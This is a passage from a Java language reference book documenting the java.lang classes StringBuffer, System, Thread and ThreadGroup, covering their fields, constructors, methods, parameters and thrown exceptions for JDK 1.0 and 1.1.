This method gets the string representation of the given object by calling String.valueOf(obj) and inserts the resulting string into the sequence of characters stored in this StringBuffer object. The string is inserted at a position offset characters from the beginning of the sequence. If offset is 0, the string is inserted before the first character in the StringBuffer.

public synchronized StringBuffer insert(int offset, String str)

Parameters

offset

An offset into the StringBuffer.

str

A String object.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset is less than zero or greater than or equal to the length of the StringBuffer object.

Description

This method inserts the sequence of characters represented by the given String into the sequence of characters stored in this StringBuffer object. If str is null, the string "null" is inserted. The string is inserted at a position offset characters from the beginning of the sequence. If offset is 0, the string is inserted before the first character in the StringBuffer.

length

public int length()

Returns

The number of characters stored in this StringBuffer object.

Description

This method returns the number of characters stored in this StringBuffer object. The length is distinct from the capacity of a StringBuffer, which is the number of characters that its internal data structure can hold.

reverse

public synchronized StringBuffer reverse()

Returns

This StringBuffer object.

Description

This method reverses the sequence of characters stored in this StringBuffer object.

setCharAt

public synchronized void setCharAt(int index, char ch)

Parameters

index

The index of the character to be set.

ch

A char value.

Throws

StringIndexOutOfBoundsException

If index is less than zero or greater than or equal to the length of the StringBuffer object.

Description

This method modifies the character located index characters from the beginning of the sequence of characters stored in this StringBuffer object. The current character at this position is replaced by the character ch.

setLength

public synchronized void setLength(int newLength)

Parameters

newLength

The new length for this StringBuffer.

Throws

StringIndexOutOfBoundsException

If index is less than zero.

Description

This method sets the length of the sequence of characters stored in this StringBuffer object. If the length is set to be less than the current length, characters are lost from the end of the character sequence. If the length is set to be more than the current length, NUL characters (\u0000) are added to the end of the character sequence.

toString

public String toString()

Returns

A new String object that represents the same sequence of characters as the sequence of characters stored in this StringBuffer object.

Overrides

Object.toString()

Description

This method returns a new String object that represents the same sequence of characters as the sequence of characters stored in this StringBuffer object. Note that any subsequent changes to the contents of this StringBuffer object do not affect the contents of the String object created by this method.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Character;
Double;
Exceptions;
Float;
Integer;
Long;
Object;
String;
String Concatenation Operator +

Previous | Home | Next
String | Book Index | System
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] System

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

System

Name

System

Synopsis

Class Name:

java.lang.System

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The System class provides access to various information about the operating system environment in which a program is running. For example, the System class defines variables that allow access to the standard I/O streams and methods that allow a program to run the garbage collector and stop the Java virtual machine.

All of the variables and methods in the System class are static. In other words, it is not necessary to create an instance of the System class in order to use its variables and methods. In fact, the System class does not define any public constructors, so it cannot be instantiated.

The System class supports the concept of system properties that can be queried and set. The following properties are guaranteed always to be defined:

Property Name | Description
file.encoding | The character encoding for the default locale (Java 1.1 only)
file.encoding.pkg | The package that contains converters between local encodings and Unicode (Java 1.1 only)
file.separator | File separator ('/' on UNIX, ' \' on Windows)
java.class.path | The class path
java.class.version | Java class version number
java.compiler | The just-in-time compiler to use, if any (Java 1.1 only)
java.home | Java installation directory
java.vendor | Java vendor-specific string
java.vendor.url | Java vendor URL
java.version | Java version number
line.separator | Line separator(' \n' on UNIX, ' \r\n' on Windows)
os.arch | Operating system architecture
os.name | Operating system name
os.version | Operating system version
path.separator | Path separator (':' on UNIX, ',' on Windows)
user.dir | User's current working directory when the properties were initialized
user.home | User's home directory
user.language | The two-letter language code of the default locale (Java 1.1 only)
user.name | User's account name
user.region | The two-letter country code of the default locale (Java 1.1 only)
user.timezone | The default time zone (Java 1.1 only)

Additional properties may be defined by the run-time environment. The -D command-line option can be used to define system properties when a program is run.

The Runtime class is related to the System class; it provides access to information about the environment in which a program is running.

Class Summary

public final class java.lang.System extends java.lang.Object {
    // Constants
    public static final PrintStream err;
    public static final InputStream in;
    public static final PrintStream out;
    // Class Methods
    public static void arraycopy(Object src, int srcOffset,
                                 Object dst, int dstOffset, int length);
    public static long currentTimeMillis();
    public static void exit(int status);
    public static void gc();
    public static Properties getProperties();
    public static String getProperty(String key);
    public static String getProperty(String key, String default);
    public static SecurityManager getSecurityManager();
    public static String getenv(String name);           // Deprecated in 1.1
    public static native int identityHashCode(Object x);   // New in 1.1
    public static void load(String filename);
    public static void loadLibrary(String libname);
    public static void runFinalization();
    public static void runFinalizersOnExit(boolean value); // New in 1.1
    public static void setErr(PrintStream err);            // New in 1.1
    public static void setIn(InputStream in);              // New in 1.1
    public static void setOut(PrintStream out);            // New in 1.1
    public static void setProperties(Properties props);
    public static void setSecurityManager(SecurityManager s);
}

Variables

err

public static final PrintStream err

Description

The standard error stream. In an application environment, this variable refers to a java.io.PrintStream object that is associated with the standard error output for the process running the Java virtual machine. In an applet environment, the PrintStream is likely to be associated with a separate window, although this is not guaranteed.

The value of err can be set using the setErr() method. The value of err can only be set if the currenly installed SecurityManager does not throw a SecurityException when the request is made.

Prior to to Java 1.1, err was not final. It has been made final as of Java 1.1 because the unchecked ability to set err is a security hole.

in

public static final InputStream in

Description

The standard input stream. In an application environment, this variable refers to a java.io.InputStream object that is associated with the standard input for the process running the Java virtual machine.

The value of in can be set using the setIn() method. The value of in can only be set if the currenly installed SecurityManager does not throw a SecurityException when the request is made.

Prior to to Java 1.1, in was not final. It has been made final as of Java 1.1 because the unchecked ability to set in is a security hole.

out

public static final PrintStream out

Description

The standard output stream. In an application environment, this variable refers to a java.io.PrintStream object that is associated with the standard output for the process running the Java virtual machine. In an applet environment, the PrintStream is likely to be associated with a separate window, although this is not guaranteed.

out is the most commonly used of the three I/O streams provided by the System class. Even in GUI-based applications, sending output to this stream can be useful for debugging. The usual idiom for sending output to this stream is:

System.out.println("Some text");

The value of out can be set using the setOut() method. The value of out can only be set if the currenly installed SecurityManager does not throw a SecurityException when the request is made.

Prior to to Java 1.1, out was not final. It has been made final as of Java 1.1 because the unchecked ability to set out is a security hole.

Class Methods

arraycopy

 public static void arraycopy(Object src, int src_position, Object dst, int dst_position, int length)

Parameters

src

The source array.

src_position

An index into the source array.

dst

The destination array.

dst_position

An index into the destination array.

length

The number of elements to be copied.

Throws

ArrayIndexOutOfBoundsException

If the values of the src_position, dst_position, and length arguments imply accessing either array with an index that is less than zero or an index greater than or equal to the number of elements in the array.

ArrayStoreException

If the type of value stored in the src array cannot be stored in the dst array.

NullPointerException

If src or dst is null.

Description

This method copies a range of array elements from the src array to the dst array. The number of elements that are copied is specified by length. The elements at positions src_position through src_position+length-1 in src are copied to the positions dst_position through dst_position+length-1 in dst, respectively.

If src and dst refer to the same array, the copying is done as if the array elements were first copied to a temporary array and then copied to the destination array.

Before this method does any copying, it performs a number of checks. If either src or dst are null, the method throws a NullPointerException and dst is not modified.

If any of the following conditions are true, the method throws an ArrayStoreException, and dst is not modified:

  • Either src or dst refers to an object that is not an array.

  • src and dst refer to arrays whose element types are different primitive types.

  • src refers to an array that has elements that contain a primitive type, while dst refers to an array that has elements that contain a reference type, or vice versa.

If any of the following conditions are true, the method throws an ArrayIndexOutOfBoundsException, and dst is not modified:

  • srcOffset, dstOffset, or length is negative.

  • srcOffset+length is greater than src.length().

  • dstOffset+length is greater than dst.length().

Otherwise, if an element in the source array being copied cannot be converted to the type of the destination array using the rules of the assignment operator, the method throws an ArrayStoreException when the problem occurs. Since the problem is discovered during the copy operation, the state of the dst array reflects the incomplete copy operation.

currentTimeMillis

public static native long currentTimeMillis()

Returns

The current time as the number of milliseconds since 00:00:00 UTC, January 1, 1970.

Description

This method returns the current time as the number of milliseconds since 00:00:00 UTC, January 1, 1970. It will not overflow until the year 292280995.

The java.util.Date class provides more extensive facilities for dealing with times and dates.

exit

public static void exit(int status)

Parameters

status

The exit status code to use.

Throws

SecurityException

If the checkExit() method of the SecurityManager throws a SecurityException.

Description

This method causes the Java virtual machine to exit with the given status code. This method works by calling the exit() method of the current Runtime object. By convention, a nonzero status code indicates abnormal termination. This method never returns.

gc

public static void gc()

Description

This method causes the Java virtual machine to run the garbage collector in the current thread. This method works by calling the gc() method of the current Runtime object.

The garbage collector finds objects that will never be used again because there are no live references to them. After it finds these objects, the garbage collector frees the storage occupied by these objects.

The garbage collector is normally run continuously in a thread with the lowest possible priority, so that it works intermittently to reclaim storage. The gc() method allows a program to invoke the garbage collector explicitly when necessary.

getProperties

public static Properties getProperties()

Returns

A Properties object that contains the values of all the system properies.

Throws

SecurityException

If the checkPropertiesAccess() method of the SecurityManager throws a SecurityException.

Description

This method returns all of the defined system properties encapsulated in a java.util.Properties object. If there are no system properties currently defined, a set of default system properties is created and initialized. As discussed in the description of the System class, some system properties are guaranteed always to be defined.

getProperty

public static String getProperty(String key)

Parameters

key

The name of a system property.

Returns

The value of the named system property or null if the named property is not defined.

Throws

SecurityException

If the checkPropertyAccess() method of the SecurityManager throws a SecurityException.

Description

This method returns the value of the named system property. If there is no definition for the named property, the method returns null. If there are no system properties currently defined, a set of default system properties is created and initialized. As discussed in the description of the System class, some system properties are guaranteed always to be defined.

public static String getProperty(String key, String def)

Parameters

key

The name of a system property.

def

A default value for the property.

Returns

The value of the named system property, or the default value if the named property is not defined.

Throws

SecurityException

If the checkPropertyAccess() method of the SecurityManager throws a SecurityException.

Description

This method returns the value of the named system property. If there is no definition for the named property, the method returns the default value as specified by the def parameter. If there are no system properties currently defined, a set of default system properties is created and initialized. As discussed earlier in the description of the System class, some system properties are guaranteed to always be defined.

getSecurityManager

public static SecurityManager getSecurityManager()

Returns

A reference to the installed SecurityManager object or null if there is no SecurityManager object installed.

Description

This method returns a reference to the installed SecurityManager object. If there is no SecurityManager object installed, the method returns null.

getenv

public static String getenv(String name)

Availability

Deprecated as of JDK 1.1

Parameters

name

The name of a system-dependent environment variable.

Returns

The value of the environment variable or null if the variable is not defined.

Description

This method is obsolete; it always throws an error. Use getProperties() and the -D option instead.

identityHashCode

public static native int identityHashCode(Object x)

Availability

New as of JDK 1.1

Parameters

x

An object.

Returns

The identity hashcode value for the specified object.

Description

This method returns the same hashcode value for the specified object as would be returned by the default hashCode() method of Object, regardless of whether or not the object's class overrides hashCode().

load

public void load(String filename)

Parameters

filename

A string that specifies the complete path of the file to be loaded.

Throws

SecurityException

If the checkLink() method of the SecurityManager throws a SecurityException.

UnsatisfiedLinkError

If the method is unsuccessful in loading the specified dynamically linked library.

Description

This method loads the specified dynamically linked library. This method works by calling the load() method of the current Runtime object.

loadLibrary

public void loadLibrary(String libname)

Parameters

libname

A string that specifies the name of a dynamically linked library.

Throws

SecurityException

If the checkLink() method of the SecurityManager throws a SecurityException.

UnsatisfiedLinkError

If the method is unsuccessful in loading the specified dynamically linked library.

Description

This method loads the specified dynamically linked library. It looks for the specified library in a platform-specific way. This method works by calling the loadLibrary() method of the current Runtime object.

runFinalization

public static void runFinalization()

Description

This method causes the Java virtual machine to run the finalize() methods of any objects in the finalization queue in the current thread. This method works by calling the runFinalization() method of the current Runtime object.

When the garbage collector discovers that there are no references to an object, it checks to see if the object has a finalize() method that has never been called. If the object has such a finalize() method, the object is placed in the finalization queue. While there is a reference to the object in the finalization queue, the object is no longer considered garbage collectable.

Normally, the objects in the finalization queue are handled by a separate finalization thread that runs continuously at a very low priority. The finalization thread removes an object from the queue and calls its finalize() method. As long as the finalize() method does not generate a reference to the object, the object again becomes available for garbage collection.

Because the finalization thread runs at a very low priority, there may be a long delay from the time that an object is put on the finalization queue until the time that its finalize() method is called. The runFinalization() method allows a program to run the finalize() methods explicitly. This can be useful when there is a shortage of some resource that is released by a finalize() method.

runFinalizersOnExit

public static void runFinalizersOnExit(boolean value)

Availability

New as of JDK 1.1

Parameters

value

A boolean value that specifies whether or not finalization occurs on exit.

Throws

SecurityException

If the checkExit() method of the SecurityManager throws a SecurityException.

Description

This method specifies whether or not the finalize() methods of all objects that have finalize() methods are run before the Java virtual machine exits. By default, the finalizers are not run on exit. This method works by calling the runFinalizersOnExit() method of the current Runtime object.

setErr

public static void setErr(PrintStream err)

Availability

New as of JDK 1.1

Parameters

err

A PrintStream object to use for the standard error stream.

Throws

SecurityException

If the checkExec() method of the SecurityManager throws a SecurityException.

Description

This method sets the standard error stream to be this PrintStream object.

setIn

public static void setIn(InputStream in)

Availability

New as of JDK 1.1

Parameters

in

A InputStream object to use for the standard input stream.

Throws

SecurityException

If the checkExec() method of the SecurityManager throws a SecurityException.

Description

This method sets the standard input stream to be this InputStream object.

setOut

public static void setOut(PrintStream out)

Availability

New as of JDK 1.1

Parameters

out

A PrintStream object to use for the standard output stream.

Throws

SecurityException

If the checkExec() method of the SecurityManager throws a SecurityException.

Description

This method sets the standard output stream to be this PrintStream object.

setProperties

public static void setProperties(Properties props)

Parameters

props

A reference to a Properties object.

Throws

SecurityException

If the checkPropertiesAccess() method of the SecurityManager throws a SecurityException.

Description

This method replaces the current set of system property definitions with a new set of system property definitions that are encapsulated by the given Properties object. As discussed in the description of the System class, some system properties are guaranteed to always be defined.

setSecurityManager

public static void setSecurityManager(SecurityManager s)

Parameters

s

A reference to a SecurityManager object.

Throws

SecurityException

If a SecurityManager object has already been installed.

Description

This method installs the given SecurityManager object. If s is null, then no SecurityManager object is installed. Once a SecurityManager object is installed, any subsequent calls to this method throw a SecurityException.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Assignment Compatibility;
Errors;
Exceptions;
Object;
Object Destruction;
Process;
Runtime;
SecurityManager

Previous | Home | Next
StringBuffer | Book Index | Thread
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Thread

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

Thread

Name

Thread

Synopsis

Class Name:

java.lang.Thread

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.lang.Runnable

Availability:

JDK 1.0 or later

Description

The Thread class encapsulates all of the information about a single thread of control running in a Java environment. Thread objects are used to control threads in a multithreaded program.

The execution of Java code is always under the control of a Thread object. The Thread class provides a static method called currentThread() that can be used to get a reference to the Thread object that controls the current thread of execution.

In order for a Thread object to be useful, it must be associated with a method that it is supposed to run. Java provides two ways of associating a Thread object with a method:

  • Declare a subclass of Thread that defines a run() method. When such a class is instantiated and the object's start() method is called, the thread invokes this run() method.

  • Pass a reference to an object that implements the Runnable interface to a Thread constructor. When the start() method of such a Thread object is called, the thread invokes the run() method of the Runnable object.

After a thread is started, it dies when one of the following things happens:

  • The run() method called by the Thread returns.

  • An exception is thrown that causes the run() method to be exited.

  • The stop() method of the Thread is called.

Class Summary

public class java.lang.Thread extends java.lang.Object
                              implements java.lang.Runnable {
    // Constants
    public final static int MAX_PRIORITY;
    public final static int MIN_PRIORITY;
    public final static int NORM_PRIORITY;
    // Constructors
    public Thread();
    public Thread(Runnable target);
    public Thread(Runnable target, String name);
    public Thread(String name);
    public Thread(ThreadGroup group, Runnable target);
    public Thread(ThreadGroup group, Runnable target, String name);
    public Thread(ThreadGroup group, String name);
    // Class Methods
    public static int activeCount();
    public static native Thread currentThread();
    public static void dumpStack();
    public static int enumerate(Thread tarray[]);
    public static boolean interrupted();
    public static native void sleep(long millis);
    public static void sleep(long millis, int nanos);
    public static native void yield();
    // Instance Methods
    public void checkAccess();
    public native int countStackFrames();
    public void destroy();
    public final String getName();
    public final int getPriority();
    public final ThreadGroup getThreadGroup();
    public void interrupt();
    public final native boolean isAlive();
    public final boolean isDaemon();
    public boolean isInterrupted();
    public final void join();
    public final synchronized void join(long millis);
    public final synchronized void join(long millis, int nanos);
    public final void resume();
    public void run();
    public final void setDaemon(boolean on);
    public final void setName(String name);
    public final void setPriority(int newPriority);
    public synchronized native void start();
    public final void stop();
    public final synchronized void stop(Throwable o);
    public final void suspend();
    public String toString();
}

Constants

MAX_PRIORITY

public final static int MAX_PRIORITY = 10

Description

The highest priority a thread can have.

MIN_PRIORITY

public final static int MIN_PRIORITY = 1

Description

The lowest priority a thread can have.

NORM_PRIORITY

public final static int NORM_PRIORITY = 5

Description

The default priority assigned to a thread.

Constructors

Thread

public Thread()

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

Creates a Thread object that belongs to the same ThreadGroup object as the current thread, has the same daemon attribute as the current thread, has the same priority as the current thread, and has a default name.

A Thread object created with this constructor invokes its own run() method when the Thread object's start() method is called. This is not useful unless the object belongs to a subclass of the Thread class that overrides the run() method.

Calling this constructor is equivalent to:

Thread(null, null, genName)

genName is an automatically generated name of the form "Thread-"+n, where n is an integer incremented each time a Thread object is created.

public Thread(String name)

Parameters

name

The name of this Thread object.

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

Creates a Thread object that belongs to the same ThreadGroup object as the current thread, has the same daemon attribute as the current thread, has the same priority as the current thread, and has the specified name.

A Thread object created with this constructor invokes its own run() method when the Thread object's start() method is called. This is not useful unless the object belongs to a subclass of the Thread class that overrides the run() method.

Calling this constructor is equivalent to:

Thread(null, null, name)

The uniqueness of the specified Thread object's name is not checked, which may be a problem for programs that attempt to identify Thread objects by their name.

public Thread(ThreadGroup group, Runnable target)

Parameters

group

The ThreadGroup object that this Thread object is to be added to.

target

A reference to an object that implements the Runnable interface.

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

Creates a Thread object that belongs to the specified ThreadGroup object, has the same daemon attribute as the current thread, has the same priority as the current thread, and has a default name.

A Thread object created with this constructor invokes the run() method of the specified Runnable object when the Thread object's start() method is called.

Calling this constructor is equivalent to:

Thread(group, target, genName)

genName is an automatically generated name of the form "Thread-"+n, where n is an integer that is incremented each time a Thread object is created.

public Thread(ThreadGroup group, Runnable target, String name)

Parameters

group

The ThreadGroup object that this Thread object is to be added to.

target

A reference to an object that implements the Runnable interface.

name

The name of this Thread object.

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

Creates a Thread object that belongs to the specified ThreadGroup object, has the same daemon attribute as the current thread, has the same priority as the current thread, and has the specified name.

A Thread object created with this constructor invokes the run() method of the specified Runnable object when the Thread object's start() method is called.

The uniqueness of the specified Thread object's name is not checked, which may be a problem for programs that attempt to identify Thread objects by their names.

public Thread(ThreadGroup group, String name)

Parameters

group

The ThreadGroup object that this Thread object is to be added to.

name

The name of this Thread object.

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

Creates a Thread object that belongs to the specified ThreadGroup object, has the same daemon attribute as the current thread, has the same priority as the current thread, and has the specified name.

A Thread object created with this constructor invokes its own run() method when the Thread object's start() method is called. This is not useful unless the object belongs to a subclass of the Thread class that overrides the run() method. Calling this constructor is equivalent to:

Thread(group, null, name)

The uniqueness of the specified Thread object's name is not checked, which may be a problem for programs that attempt to identify Thread objects by their name.

Class Methods

activeCount

public static int activeCount()

Returns

The current number of threads in the ThreadGroup of the currently running thread.

Description

This method returns the number of threads in the ThreadGroup of the currently running thread for which the isAlive() method returns true.

currentThread

public static native Thread currentThread()

Returns

A reference to the Thread object that controls the currently executing thread.

Description

This method returns a reference to the Thread object that controls the currently executing thread.

dumpStack

public static void dumpStack()

Description

This method outputs a stack trace of the currently running thread.

enumerate

public static int enumerate(Thread tarray[])

Parameters

tarray

A reference to an array of Thread objects.

Returns

The number of Thread objects stored in the array.

Description

This method stores a reference in the array for each of the Thread objects in the ThreadGroup of the currently running thread for which the isAlive() method returns true.

Calling this method is equivalent to:

currentThread().getThreadGroup().enumerate(tarray)

If the array is not big enough to contain references to all the Thread objects, only as many references as will fit are put into the array. No indication is given that some Thread objects were left out, so it is a good idea to call activeCount() before calling this method, to get an idea of how large to make the array.

interrupted

public static boolean interrupted()

Returns

true if the currently running thread has been interrupted; otherwise false.

Description

This method determines whether or not the currently running thread has been interrupted.

sleep

public static native void sleep(long millis)

Parameters

millis

The number of milliseconds that the currently running thread should sleep.

Throws

InterruptedException

If another thread interrupts the currently running thread.

Description

This method causes the currently running thread to sleep. The method does not return until at least the specified number of milliseconds have elapsed.

While a thread is sleeping, it retains ownership of all locks. The Object class defines a method called wait() that is similar to sleep() but causes the currently running thread to temporarily relinquish its locks.

public static void sleep(long millis, int nanos)

Parameters

millis

The number of milliseconds that the currently running thread should sleep.

nanos

An additional number of nanoseconds to sleep.

Throws

InterruptedException

If another thread interrupts the currently running thread.

Description

This method causes the currently running thread to sleep. The method does not return until at least the specified number of milliseconds have elapsed.

While a thread is sleeping, it retains ownership of all locks. The Object class defines a method called wait() that is similar to sleep() but causes the currently running thread to temporarily relinquish its locks.

Note that Sun's reference implementation of Java does not attempt to implement the precision implied by this method. Instead, it rounds to the nearest millisecond (unless millis is 0, in which case it rounds up to 1 millisecond) and calls sleep(long).

yield

public static native void yield()

Description

This method causes the currently running thread to yield control of the processor so that another thread can be scheduled.

Instance Methods

checkAccess

public void checkAccess()

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method determines if the currently running thread has permission to modify this Thread object.

countStackFrames

public native int countStackFrames()

Returns

The number of pending method invocations on this thread's stack.

Description

This method returns the number of pending method invocations on this thread's stack.

destroy

public void destroy()

Description

This method is meant to terminate this thread without any of the usual cleanup (i.e., any locks held by the thread are not released). This method provides a last-resort way to terminate a thread. While a thread can defeat its stop() method by catching objects thrown from it, there is nothing that a thread can do to stop itself from being destroyed.

Note that Sun's reference implementation of Java does not implement the documented functionality of this method. Instead, the implementation of this method just throws a NoSuchMethodError.

getName

public final String getName()

Returns

The name of this thread.

Description

This method returns the name of this Thread object.

getPriority

public final int getPriority()

Returns

The priority of this thread.

Description

This method returns the priority of this Thread object.

getThreadGroup

public final ThreadGroup getThreadGroup()

Returns

The ThreadGroup of this thread.

Description

This method returns a reference to the ThreadGroup that this Thread object belongs to.

interrupt

public void interrupt()

Description

This method interrupts this Thread object.

Note that prior to version 1.1, Sun's reference implementation of Java does not implement the documented functionality of this method. Instead, the method just sets a private flag that indicates that an interrupt has been requested. None of the methods that should throw an InterruptedException currently do. However, the interrupted() and isInterrupted() methods do return true after this method has been called.

isAlive

public final native boolean isAlive()

Returns

true if this thread is alive; otherwise false.

Description

This method determines whether or not this Thread object is alive. A Thread object is alive if it has been started and has not yet died. In other words, it has been scheduled to run before and can still be scheduled to run again. A thread is generally alive after its start() method is called and until its stop() method is called.

isDaemon

public final boolean isDaemon()

Returns

true if the thread is a daemon thread; otherwise false.

Description

This method determines whether or not this thread is a daemon thread, based on the value of the daemon attribute of this Thread object.

isInterrupted

public boolean isInterrupted()

Returns

true if this thread has been interrupted; otherwise false.

Description

This method determines whether or not this Thread object has been interrupted.

join

public final void join()

Throws

InterruptedException

If another thread interrupts this thread.

Description

This method allows the thread that calls it to wait for the Thread associated with this method to die. The method returns when the Thread dies. If this thread is already dead, then this method returns immediately.

public final synchronized void join(long millis)

Parameters

millis

The maximum number of milliseconds to wait for this thread to die.

Throws

InterruptedException

If another thread interrupts this thread.

Description

This method causes a thread to wait to die. The method returns when this Thread object dies or after the specified number of milliseconds has elapsed, whichever comes first. However, if the specified number of milliseconds is zero, the method will wait forever for this thread to die. If this thread is already dead, the method returns immediately.

public final synchronized void join(long millis, int nanos)

Parameters

millis

The maximum number of milliseconds to wait for this thread to die.

nanos

An additional number of nanoseconds to wait.

Throws

InterruptedException

If another thread interrupts this thread.

Description

This method causes a thread to wait to die. The method returns when this Thread object dies or after the specified amount of time has elapsed, whichever comes first. However, if millis and nanos are zero, the method will wait forever for this thread to die. If this thread is already dead, the method returns immediately.

Note that Sun's reference implementation of Java does not attempt to implement the precision implied by this method. Instead, it rounds to the nearest millisecond (unless millis is 0, in which case it rounds up to 1 millisecond) and calls join(long).

resume

public final void resume()

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method resumes a suspended thread. The method causes this Thread object to once again be eligible to be run. Calling this method for a thread that is not suspended has no effect.

run

public void run()

Implements

Runnable.run()

Description

A Thread object's start() method causes the thread to invoke a run() method. If this Thread object was created without a specified Runnable object, the Thread object's own run() method is executed. This behavior is only useful in a subclass of Thread that overrides this run() method, since the run() method of the Thread class does not do anything.

setDaemon

public final void setDaemon(boolean on)

Parameters

on

The new value for this thread's daemon attribute.

Throws

IllegalThreadStateException

If this method is called after this thread has been started and while it is still alive.

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method sets the daemon attribute of this Thread object to the given value. This method must be called before the thread is started. If a thread dies and there are no other threads except daemon threads alive, the Java virtual machine stops.

setName

public final void setName(String name)

Parameters

name

The new name for this thread.

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method sets the name of this Thread object to the given value. The uniqueness of the specified Thread object's name is not checked, which may be a problem for programs that attempt to identify Thread objects by their name.

setPriority

public final void setPriority(int newPriority)

Parameters

newPriority

The new priority for this thread.

Throws

IllegalArgumentException

If the given priority is less than MIN_PRIORITY or greater than MAX_PRIORITY.

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method sets the priority of this Thread to the given value.

start

public synchronized native void start()

Throws

IllegalThreadStateException

If this Thread object's start() method has been called before.

Description

This method starts this Thread object, allowing it to be scheduled for execution. The top-level code that is executed by the thread is the run() method of the Runnable object specified in the constructor that was used to create this object. If no such object was specified, the top-level code executed by the thread is this object's run() method.

It is not permitted to start a thread more than once.

stop

public final void stop()

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method causes this Thread object to stop executing by throwing a ThreadDeath object. The object is thrown in this thread, even if the method is called from a different thread. This thread is forced to stop whatever it is doing and throw a newly created ThreadDeath object. If this thread was suspended, it is resumed; if it was sleeping, it is awakened. Normally, you should not catch ThreadDeath objects in a try statement. If you need to catch ThreadDeath objects to detect a Thread is about to die, the try statement that catches ThreadDeath objects should rethrow them.

When an object is thrown out of the run() method associated with a Thread, the uncaughtException() method of the ThreadGroup for that Thread is called. The uncaughtException() method normally outputs a stack trace. However, uncaughtException() treats a ThreadDeath object as a special case by not outputting a stack trace. When the uncaughtException() method returns, the thread is dead. The thread is never scheduled to run again.

If this Thread object's stop() method is called before this thread is started, the ThreadDeath object is thrown as soon as the thread is started.

public final synchronized void stop(Throwable o)

Parameters

o

The object to be thrown.

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method causes this Thread object to stop executing by throwing the given object. Normally, the stop() method that takes no arguments and throws a ThreadDeath object should be called instead of this method. However, if it is necessary to stop a thread by throwing some other type of object, this method can be used.

The object is thrown in this thread, even if the method is called from a different thread. This thread is forced to stop whatever it is doing and throw the Throwable object o. If this thread was suspended, it is resumed; if it was sleeping, it is awakened.

When an object is thrown out of the run() method associated with a Thread, the uncaughtException() method of the ThreadGroup for that Thread is called. If the thrown object is not an instance of the ThreadDeath class, uncaughtException() calls the thrown object's printStackTrace() method and then the thread dies. The thread is never scheduled to run again.

If this Thread object's stop() method is called before this thread is started, the ThreadDeath object is thrown as soon as the thread is started.

suspend

public final void suspend()

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method suspends a thread. The method causes this Thread object to temporarily be ineligible to be run. The thread becomes eligible to be run again after its resume() method is called. Calling this method for a thread that is already suspended has no effect.

toString

public String toString()

Returns

A string representation of this Thread object.

Overrides

Object.toString()

Description

This method returns a string representation of this Thread object.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Exceptions;
Object;
Runnable;
SecurityManager;
ThreadGroup;
Threads 8

Previous | Home | Next
System | Book Index | ThreadGroup
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] ThreadGroup

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

ThreadGroup

Name

ThreadGroup

Synopsis

Class Name:

java.lang.ThreadGroup

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The ThreadGroup class implements a grouping scheme for threads. A ThreadGroup object can own Thread objects and other ThreadGroup objects. The ThreadGroup class provides methods that allow a ThreadGroup object to control its Thread and ThreadGroup objects as a group. For example, suspend() and resume() methods of a ThreadGroup object call the suspend() and resume() methods of each of the Thread and ThreadGroup objects that belong to the particular ThreadGroup.

When a Java program starts, a ThreadGroup object is created to own the first Thread. Any additional ThreadGroup objects are explicitly created by the program.

Class Summary

public class java.lang.ThreadGroup extends java.lang.Object {
    // Constructors
    public ThreadGroup(String name);
    public ThreadGroup(ThreadGroup parent, String name;
    // Instance Methods
    public int activeCount();
    public int activeGroupCount();
    public boolean allowThreadSuspension(boolean b);       // New in 1.1
    public final void checkAccess();
    public final void destroy();
    public int enumerate(Thread list[]);
    public int enumerate(Thread list[], boolean recurse);
    public int enumerate(ThreadGroup list[]);
    public int enumerate(ThreadGroup list[], boolean recurse);
    public final int getMaxPriority();
    public final String getName();
    public final ThreadGroup getParent();
    public final boolean isDaemon();
    public synchronized boolean isDestroyed();             // New in 1.1
    public void list();
    public final boolean parentOf(ThreadGroup g);
    public final void resume();
    public final void setDaemon(boolean daemon);
    public final void setMaxPriority(int pri);
    public final void stop();
    public final void suspend();
    public String toString();
    public void uncaughtException(Thread t, Throwable e);
}

Constructors

ThreadGroup

public ThreadGroup(String name)

Parameters

name

The name of this ThreadGroup object.

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

Creates a ThreadGroup object that has the specified name and the same parent ThreadGroup as the current thread.

